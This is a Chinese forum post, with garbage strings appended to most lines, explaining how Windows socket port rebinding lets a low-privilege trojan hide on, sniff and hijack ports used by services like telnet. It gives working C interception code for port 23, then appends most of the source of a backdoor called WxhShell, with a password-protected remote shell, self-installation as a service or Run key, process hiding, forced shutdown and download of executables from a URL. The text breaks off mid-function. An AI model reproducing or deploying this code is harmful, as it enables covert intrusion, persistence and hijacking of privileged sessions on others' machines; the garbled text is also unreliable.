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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IAw{P08+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7({]x*o*%  
SW*"\X;  
  saddr.sin_family = AF_INET; 87BHq)  
mp=z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |_] Q$q[[%  
U> cV|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \!k1a^ZP  
H7d/X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +wEac g>>E  
*]AdUEV?  
  这意味着什么?意味着可以进行如下的攻击: -db_E#  
Jll-`b 1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P* w9 ,  
}\%Fi/6Z{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ {O#  
Km(n7Ah"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $"FQj4%d  
m;'6MHx;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PK{acen  
jF0jkj1&/[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {)BTR%t  
gu0j.XS^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \9cG36  
6G #}Q/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [Jogt#Fj ]  
0 vtt"f)Y[  
  #include %/|9@er  
  #include W+PJZn  
  #include } ud0&Oe{  
  #include    kMb}1J0i"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h-G)o[MA  
  int main() # WAZ9,t  
  { YE|SKx@  
  WORD wVersionRequested;  swK-/$#  
  DWORD ret; F({HP)9b  
  WSADATA wsaData; Fh`~`eog  
  BOOL val; ]^lw*724'>  
  SOCKADDR_IN saddr; }% `.h"  
  SOCKADDR_IN scaddr; #~7ip\Uf[  
  int err; zG ^$"f2  
  SOCKET s; P(H8[,  
  SOCKET sc; 7* yzEM  
  int caddsize; *~t6(v?  
  HANDLE mt; 4)@mSSfn.  
  DWORD tid;   WU quN  
  wVersionRequested = MAKEWORD( 2, 2 ); .#rJ+.2  
  err = WSAStartup( wVersionRequested, &wsaData ); `(YxI  
  if ( err != 0 ) { 7J EbH?lEN  
  printf("error!WSAStartup failed!\n"); wgamshm"d  
  return -1; 'eLqlu|T  
  } )Xv ilCk1  
  saddr.sin_family = AF_INET; )L#i%)+  
   !a7[ 8&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 swM*k;$q{  
q(`/Vo4g(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^>jwh  
  saddr.sin_port = htons(23); &3bx `C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jN[`L%Qm   
  { 9aze>nxh.  
  printf("error!socket failed!\n"); jz qyk^X  
  return -1; q35f&O;  
  } 7]blrN]  
  val = TRUE; 4)A#2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L3@82yPo!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /J=v]<87a  
  { RxI(:i?  
  printf("error!setsockopt failed!\n"); ;1%-8f:lW  
  return -1; W3MU1gl6k{  
  } wE?'Cl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bgK'{_o-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7R6ry(6N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l)Crc-:}4j  
U<DZ:ds ?T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cj{1H([-  
  { }+C2I  
  ret=GetLastError(); 4lKq{X5<  
  printf("error!bind failed!\n"); ?QFpv #4  
  return -1; wVEm:/;z&  
  } ]Q>.HH  
  listen(s,2); m 8aITd8  
  while(1) [_1G@S6Ex  
  { :9QZPsL  
  caddsize = sizeof(scaddr); 2zs73:z  
  //接受连接请求 9s6U}a'c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7Rd'm'l)  
  if(sc!=INVALID_SOCKET) >pp5;h8!  
  { "nw;NIp!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W g02 A\  
  if(mt==NULL) OmIg<v 0\;  
  { DXJ`oh  
  printf("Thread Creat Failed!\n"); ll`>FcQ  
  break; uBNn6j  
  } 23RN}LUi  
  } ^eo|P~w g  
  CloseHandle(mt); 59"UL\3  
  } 3|'>`!hb  
  closesocket(s); #~C]ZrK  
  WSACleanup(); `f*Q$Ulqx  
  return 0; #a'Ex=%rM  
  }   G!>z;5KuS  
  DWORD WINAPI ClientThread(LPVOID lpParam) e\!0<d  
  { t!r A%*  
  SOCKET ss = (SOCKET)lpParam; ihIVUu-M  
  SOCKET sc; \=:~ki=@B  
  unsigned char buf[4096]; )qo {c1X  
  SOCKADDR_IN saddr; <vONmE a  
  long num; __|+w<]  
  DWORD val; .QZaGw=,z  
  DWORD ret; _qw?@478  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #xX5,r0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B0dQ@Hq*  
  saddr.sin_family = AF_INET; a&c6.#E{y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +l9!Fl{MK\  
  saddr.sin_port = htons(23); Mxyb5h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) glM$R&/  
  { a@@)6FM  
  printf("error!socket failed!\n"); mlJ!:WG  
  return -1; /OLFcxEWh  
  } Fcd3H$Na;  
  val = 100; ST:A<Da"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IC1NKn<k  
  {  @~!wDDS  
  ret = GetLastError(); %s|}Fz->  
  return -1; 5=v}W:^v.  
  } vms|x wb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $~VRza 8Q  
  { K 1 a\b"  
  ret = GetLastError(); lij.N) E  
  return -1; 5ni~Q 9b  
  } T 6)bD&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6p?,(  
  { 5nT"rA  
  printf("error!socket connect failed!\n"); d1AioQ9  
  closesocket(sc); iOU6V  
  closesocket(ss); YwDbPX  
  return -1; lQ" p !  
  } gkES5Q  
  while(1) ="Ho%*@6  
  { (tIo:j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gy#/D& N[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xJ>fm%{5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OB Otuu.  
  num = recv(ss,buf,4096,0); p "n$!ilbm  
  if(num>0) 9 7GV2]-M  
  send(sc,buf,num,0); =t9\^RIx)?  
  else if(num==0) 'gC_)rK*  
  break; /fZe WU0W  
  num = recv(sc,buf,4096,0); jcuB  
  if(num>0) k5:G-BQ:  
  send(ss,buf,num,0); 9 Vkb>yFX'  
  else if(num==0) 'p> Ra/4  
  break; mZSD(  
  } _jLL_GD  
  closesocket(ss); o]yl ;I  
  closesocket(sc); w80oXXs[#  
  return 0 ; ,l !Ta "  
  } `Aw^H!  
. $BUw  
xF;kT BRi  
========================================================== QEz? w}b*  
dIN$)?aB0  
下边附上一个代码,,WXhSHELL {1 UQ/_  
F5P[dp-`1  
========================================================== -w9pwB  
JMrEFk  
#include "stdafx.h" SxOC1+Oy  
TW)c#P43K  
#include <stdio.h> c3 jx+Q  
#include <string.h> ,\_1w  
#include <windows.h> qh9Z50E9  
#include <winsock2.h> 8K:y\1  
#include <winsvc.h> lAb*fafQy  
#include <urlmon.h> 2oVSn"  
'[AlhBX  
#pragma comment (lib, "Ws2_32.lib") w>pq+og&  
#pragma comment (lib, "urlmon.lib") \-h%O jf4  
XGYbnZ~   
#define MAX_USER   100 // 最大客户端连接数 RL!Oi|8  
#define BUF_SOCK   200 // sock buffer )J2mM  
#define KEY_BUFF   255 // 输入 buffer  gbF+WE  
L2\#w<d  
#define REBOOT     0   // 重启 #M9~L[nF S  
#define SHUTDOWN   1   // 关机 "I3@m%qv  
$"+djI?E9  
#define DEF_PORT   5000 // 监听端口 A\4D79>x  
-ws? "_w  
#define REG_LEN     16   // 注册表键长度 \k.{-nh  
#define SVC_LEN     80   // NT服务名长度 b*a#<K$T_  
7m4ao K  
// 从dll定义API ^q{9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); );#JL0I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EK {Eo9l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]{3)^axW;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .~~nUu+M  
zr-*$1eu  
// wxhshell配置信息 tXNm$Cq.|  
struct WSCFG { Cn,d?H  
  int ws_port;         // 监听端口 g;pcZ9o  
  char ws_passstr[REG_LEN]; // 口令 s'!Cp=xQF"  
  int ws_autoins;       // 安装标记, 1=yes 0=no J1( 9QN[w  
  char ws_regname[REG_LEN]; // 注册表键名 RIlwdt  
  char ws_svcname[REG_LEN]; // 服务名 ]~9t Y n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /rK}?U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (?n=33}Ci  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8EW_V$>R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ck: T,F{}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [%q@]\U$s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dq(uVW^&ae  
n6wV.?8  
}; \y97W&AN  
|]jb& M  
// default Wxhshell configuration Z InpMp  
struct WSCFG wscfg={DEF_PORT, '~5LY!H(pT  
    "xuhuanlingzhe", NCiW^#b  
    1, *Fy2BZH%Q  
    "Wxhshell", VEWi_;=J1  
    "Wxhshell", \:b3~%Fz  
            "WxhShell Service", >")Tf6zw&  
    "Wrsky Windows CmdShell Service", >"^ O"E  
    "Please Input Your Password: ", Nv#t:J9f  
  1, Oxm>c[R  
  "http://www.wrsky.com/wxhshell.exe", LhA*F[6$M  
  "Wxhshell.exe" (up~[  
    }; v[ . cd*b  
]OM"ZG/^  
// 消息定义模块 c/D+|X*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {j9{n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; } df W%{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5 h-@|t  
char *msg_ws_ext="\n\rExit."; s3z$e+A8  
char *msg_ws_end="\n\rQuit."; f86XkECZ;`  
char *msg_ws_boot="\n\rReboot..."; |?!~{-o  
char *msg_ws_poff="\n\rShutdown..."; `95r0t0hh\  
char *msg_ws_down="\n\rSave to "; abuh`H#  
Vx$\hcG  
char *msg_ws_err="\n\rErr!"; WJQvB=D&  
char *msg_ws_ok="\n\rOK!"; +9M^7/}H  
:0Bq^G"ge  
char ExeFile[MAX_PATH]; \HqNAE2T  
int nUser = 0; t)~"4]{*}D  
HANDLE handles[MAX_USER]; SEo'(-5  
int OsIsNt; tI`Q/a5@  
$mu^G t  
SERVICE_STATUS       serviceStatus; *1 uKr9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 52%2R]G!  
vmU@^2JSJ  
// 函数声明 vx1c,8  
int Install(void); '.on)Zd.  
int Uninstall(void); Dt}JG6S  
int DownloadFile(char *sURL, SOCKET wsh); B-xGX$<z  
int Boot(int flag); ZGBd%RWjG_  
void HideProc(void); /kE6@  
int GetOsVer(void); @Pm>sY}d<I  
int Wxhshell(SOCKET wsl); N@2dA*T,  
void TalkWithClient(void *cs); \z>fb%YW  
int CmdShell(SOCKET sock); `nUXDmdwzO  
int StartFromService(void); q3mJ782p]  
int StartWxhshell(LPSTR lpCmdLine); v_BcTzQ0S  
@:j}Jmg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8NxM4$nQX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B}n,b#,*  
|9uOUE  
// 数据结构和表定义 J*r*X.  
SERVICE_TABLE_ENTRY DispatchTable[] = -f3p U:G8  
{ ?iw!OoZ`  
{wscfg.ws_svcname, NTServiceMain}, P 0SQr?W  
{NULL, NULL} \MA+f~)9  
}; VQ(jpns5  
gT3_RUF  
// 自我安装 _> 5(iDW0  
int Install(void) Vp#JS3Y  
{ E-4b[xNj*+  
  char svExeFile[MAX_PATH]; (]Z_UTT  
  HKEY key; /sUYU (3  
  strcpy(svExeFile,ExeFile); Ghu#XJB?  
Sxnpq Vbk  
// 如果是win9x系统,修改注册表设为自启动 u__9Z:+  
if(!OsIsNt) { s(5Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P9GN}GN%v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n D0K).=Q  
  RegCloseKey(key); *M[?bk~~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wVX[)E\J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :{PJI,  
  RegCloseKey(key); r(6Y*<  
  return 0; }{,^@xdyW  
    } FTX=Wyr  
  } n3T>QgK  
} <Q3oT  
else { RU'=ERYC  
Pj[PIz  
// 如果是NT以上系统,安装为系统服务 Cw iKi^m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); srPWE^&  
if (schSCManager!=0) VEH&&@d  
{ %<)2/|lCd  
  SC_HANDLE schService = CreateService <C_jF  
  ( 68NYIyTW9  
  schSCManager, |EIng0a  
  wscfg.ws_svcname, 9/{(%XwX  
  wscfg.ws_svcdisp, rxVanDb=W  
  SERVICE_ALL_ACCESS, FTH|9OP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1A?W:'N  
  SERVICE_AUTO_START, mf A{3  
  SERVICE_ERROR_NORMAL, )YYf1o[+  
  svExeFile, )#EGTRdo  
  NULL, &#o~U$GBg  
  NULL, H7?Vybg~  
  NULL, rDD:7*z  
  NULL, ")_|69 VX  
  NULL  Hu^1[#  
  ); ls?~+\Jb  
  if (schService!=0) 3oBtP<yG.  
  { $'0u|Xy`  
  CloseServiceHandle(schService); :I"2V  
  CloseServiceHandle(schSCManager); I.WvLLK2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rK@8/?y5  
  strcat(svExeFile,wscfg.ws_svcname); v V'EZ ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >] qc-{>&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &)YQvTzs  
  RegCloseKey(key); O#n8=B4  
  return 0; Htay-PB }  
    } jk"`Z<j~  
  } 45=bGf#  
  CloseServiceHandle(schSCManager);  Qn^'  
} dl.N.P7}4  
} <vnHz?71c  
b1?#81  
return 1; Kc!} `Pm  
} }wWKFX  
?# Mr  
// 自我卸载 8/DS:uM  
int Uninstall(void) QsGiclU  
{ b}OY4~ Y4  
  HKEY key; K#l:wH _  
v&Ii^?CvO  
if(!OsIsNt) { f& 0M*o,)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \@-@Y  
  RegDeleteValue(key,wscfg.ws_regname); f"B3,6m  
  RegCloseKey(key); )) Zf|86N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >lmi@UN|k  
  RegDeleteValue(key,wscfg.ws_regname); %&$Tz1"  
  RegCloseKey(key); !5wIIS:FT  
  return 0; +y,T4^{  
  } eiuSvyY  
} E0BMv/r8b  
} S_iMVHe  
else { ylUrLQ\  
062,L~&E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); anuL1f XO  
if (schSCManager!=0) BoA/6FRi[  
{ R7]l{2V#^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TSA,WP\  
  if (schService!=0) KMt`XaC9e  
  { { .n"Z  
  if(DeleteService(schService)!=0) { +~St !QV%  
  CloseServiceHandle(schService); 2:*w~|6>}5  
  CloseServiceHandle(schSCManager); ?J' Y&  
  return 0; i}b${n o  
  } r~[Ia!U?  
  CloseServiceHandle(schService); f'8kish  
  } +[Dj5~V  
  CloseServiceHandle(schSCManager); 3yANv?$a  
} -1Jg?cPz k  
} +O'3|M  
gwNq x"  
return 1; z _g~  
} ^m L@e'r  
yhlFFbU  
// 从指定url下载文件 OL5v).Bb  
int DownloadFile(char *sURL, SOCKET wsh) T} `x-  
{ y@]_+2Vo  
  HRESULT hr; wWgWWXGT}  
char seps[]= "/"; }L &^xe  
char *token; X#d~zk[r2  
char *file; J2d.f}-  
char myURL[MAX_PATH]; s.EI`*xylY  
char myFILE[MAX_PATH]; eD-#b|  
R|JC1f8P5  
strcpy(myURL,sURL); c~6>1w7SZ4  
  token=strtok(myURL,seps); nvca."5y  
  while(token!=NULL) ?m![Pg%  
  { PxF <\pu&  
    file=token; U!T~!C^  
  token=strtok(NULL,seps); "X2Vrn'  
  } w'L\?pI  
mrTlXXz  
GetCurrentDirectory(MAX_PATH,myFILE); |].pDwgt  
strcat(myFILE, "\\"); \ Fl+\?~D  
strcat(myFILE, file); h"lX 4  
  send(wsh,myFILE,strlen(myFILE),0); $GYm6x\4  
send(wsh,"...",3,0); ko1J094Y%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  0,r}o  
  if(hr==S_OK) tzZ63@cm  
return 0; PiYY6i0  
else 6\L0mcXR!  
return 1; z25lZI" X`  
%?LOs H   
} aGK?x1_  
@*>@AFnf\Z  
// 系统电源模块 )@N2  
int Boot(int flag) ^<;V]cY`  
{ ,_|]Ufr!a  
  HANDLE hToken; hp8%.V$f  
  TOKEN_PRIVILEGES tkp; f6|KN+.  
Vw[6t>`  
  if(OsIsNt) { gHhh>FFAq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tfh 2.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FE" y\2}  
    tkp.PrivilegeCount = 1; o5xAav"+>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `))\}C@k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H|,Oswk~-  
if(flag==REBOOT) {  zG+R5:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4!$s}V=6  
  return 0; za#s/b$[  
} "mX\&%i6\p  
else { vQ<90Z xqB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %509\;el  
  return 0; V7#Ffi  
} 6W@UJx}w5  
  } '[J<=2&  
  else { Nb?w|Ne(T  
if(flag==REBOOT) { CxGx8*<X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *ohL&'y  
  return 0; 5pU2|Bk /  
} 5?p2%KQ  
else { Zkx[[gzL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Kg21-?  
  return 0; GRMiQa  
} ]"+95*B  
} Tq NadHQ  
b5,x1`#7k  
return 1; J~%K_~Li  
} XIvn_&d;G  
xAafm<L@!  
// win9x进程隐藏模块 D*Ik7Pe  
void HideProc(void) 6`!Fv-  
{ gWrgnlq  
;`l'2 z@N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {x:ZF_wbb  
  if ( hKernel != NULL ) 1h>yu3O  
  { '#LQN<"4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'sLiu8G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "+\lws  
    FreeLibrary(hKernel); h tx;8:  
  } f} Np/  
vgD {qg@  
return; Bt1p'g(V|  
} D6CS8 ~"  
hOFOO_byzO  
// 获取操作系统版本 :,WtR  
int GetOsVer(void) Kk(9O06j  
{ R-NS,i={  
  OSVERSIONINFO winfo; ,QC{3i~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3k|oK'l  
  GetVersionEx(&winfo); cUqke+!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :gerQz4R8  
  return 1; kxp) ;  
  else 0E?jW7yr  
  return 0; YhbZ'SJ  
} *\(r+>*x*  
-6Oz^  
// 客户端句柄模块 6&DX] [G  
int Wxhshell(SOCKET wsl) i O/K nH  
{ 9Rn? :B~W:  
  SOCKET wsh; {n/uh0>f*  
  struct sockaddr_in client; ; l&4V  
  DWORD myID; I/M_p^  
4 SHU  
  while(nUser<MAX_USER) jx.[#6e  
{ MS>t_C(  
  int nSize=sizeof(client); rSxxH]-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {g2@6ct  
  if(wsh==INVALID_SOCKET) return 1; #?*WPq  
pAb.c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NM]s8cK_  
if(handles[nUser]==0) ebS0qo[oLH  
  closesocket(wsh); IP``O!WP  
else (T>nPbv)  
  nUser++; rEHkw '  
  } GiP`dtK   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [01.\eh  
'\Jj8oJQj  
  return 0; B.g[c97  
} B;R.#^@/  
=`*O1a  
// 关闭 socket ZiYm:$CJ  
void CloseIt(SOCKET wsh) 6el;Erp  
{ fMGbODAvY  
closesocket(wsh); cE`6uq7 p  
nUser--; &FH2fMLQ  
ExitThread(0); P&j (,7  
} )+6v  
c1$ngH0  
// 客户端请求句柄 YY&l?*M<  
void TalkWithClient(void *cs) 89n:)|rWq  
{ 6(]tYcC  
h G gx  
  SOCKET wsh=(SOCKET)cs; 0dA7pY9  
  char pwd[SVC_LEN]; Pt@%4 :&-h  
  char cmd[KEY_BUFF]; @HRC \OG  
char chr[1]; @g2 cC  
int i,j; %9k!A]KD  
{cB+mh;mJ>  
  while (nUser < MAX_USER) { 0{[m%eSK'  
%1.]c6U  
if(wscfg.ws_passstr) { JYrY[',u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [q_`X~3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); txZ?=8j_Y  
  //ZeroMemory(pwd,KEY_BUFF); neXeAU  
      i=0; -zp0S*iP7  
  while(i<SVC_LEN) { ?OE.O/~l  
k% sO 0  
  // 设置超时 is1's[  
  fd_set FdRead; ;w6>"O$a  
  struct timeval TimeOut; |\n@3cIK  
  FD_ZERO(&FdRead); sf OHl  
  FD_SET(wsh,&FdRead); <V7>?U l  
  TimeOut.tv_sec=8; {NPuu?&  
  TimeOut.tv_usec=0; 1G0fp:\w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7]x3!AlV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2RqbrY n  
"S&@F/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iT;@bp  
  pwd=chr[0]; DHw&+MY  
  if(chr[0]==0xd || chr[0]==0xa) { P y>{t4;S  
  pwd=0; `+zWu 55;  
  break; >iOzl wmG  
  } /0W9g  
  i++; @*0cMO;SpG  
    } :9R=]#uD  
HJ2*y|u  
  // 如果是非法用户,关闭 socket 21ppSN >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }w/;){gu  
} Iq#ZhAk  
-pU|hSW*b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *\wp?s>-t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d{3@h+zL  
oT{@_U{*J  
while(1) { QJ F=UB  
E,wVe[0)f  
  ZeroMemory(cmd,KEY_BUFF); ZT[3aXS  
YAL=!~6  
      // 自动支持客户端 telnet标准   277ASCWLkU  
  j=0; UWZa|I~:J  
  while(j<KEY_BUFF) { e/*$^i+S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |.F  
  cmd[j]=chr[0]; V~T@6S  
  if(chr[0]==0xa || chr[0]==0xd) { J0 k  
  cmd[j]=0; :-iMdtm  
  break; Ja]?&j  
  } Z1ALq5  
  j++; kW`r=u  
    } OFGsjYLw  
6 4D]Ypx  
  // 下载文件 7_wJpTz  
  if(strstr(cmd,"http://")) { T"p(]@Ng  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?\U!huu  
  if(DownloadFile(cmd,wsh)) yJsH=5A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &f>eQ S=(  
  else l{:a1^[>y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K. %U  
  } -UZ@G~K  
  else { _TUk(Qe  
TgTnqR@/  
    switch(cmd[0]) { V $|<  
  sow d`I~  
  // 帮助 4J|t?]ij|E  
  case '?': { ?f*Q>3S)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3IR ^  
    break; ="%W2  
  } `gpQW~*R-;  
  // 安装 ExSO|g]%  
  case 'i': { Q \]Xm>  
    if(Install()) 5tv<8~:K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6CC&Z>  
    else TZ;p0^(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Y<oN~<%)  
    break; Uw/l>\  
    } vBvNu<v7te  
  // 卸载 O lfn  
  case 'r': { oyk>vIZ  
    if(Uninstall()) <e)o1+[w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a`E*\O'd  
    else x|0:P sE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #5&jt@NS  
    break; .fzu"XAPu  
    } cBYfXI0`  
  // 显示 wxhshell 所在路径 'r} zY-FM`  
  case 'p': { 3L _I[T$s  
    char svExeFile[MAX_PATH]; TwvAj#j  
    strcpy(svExeFile,"\n\r"); LF?P> 1%-  
      strcat(svExeFile,ExeFile); Sd))vS^g  
        send(wsh,svExeFile,strlen(svExeFile),0); w?mEuXc  
    break; K'1~^)*  
    } F_ 7H!F  
  // 重启 8ga_pNe  
  case 'b': { xM s]Hs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /u`3VOn  
    if(Boot(REBOOT)) WlV z,t'if  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?u^"}%Fc  
    else { y^Vw`-e  
    closesocket(wsh); Nt:8ogk/  
    ExitThread(0); kax\h  
    } W3&tJ8*3  
    break; 'P laMOy  
    } 4'Xgk8)  
  // 关机 C;Ic  
  case 'd': { 7OVbP%n)d2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u/Fj'*M  
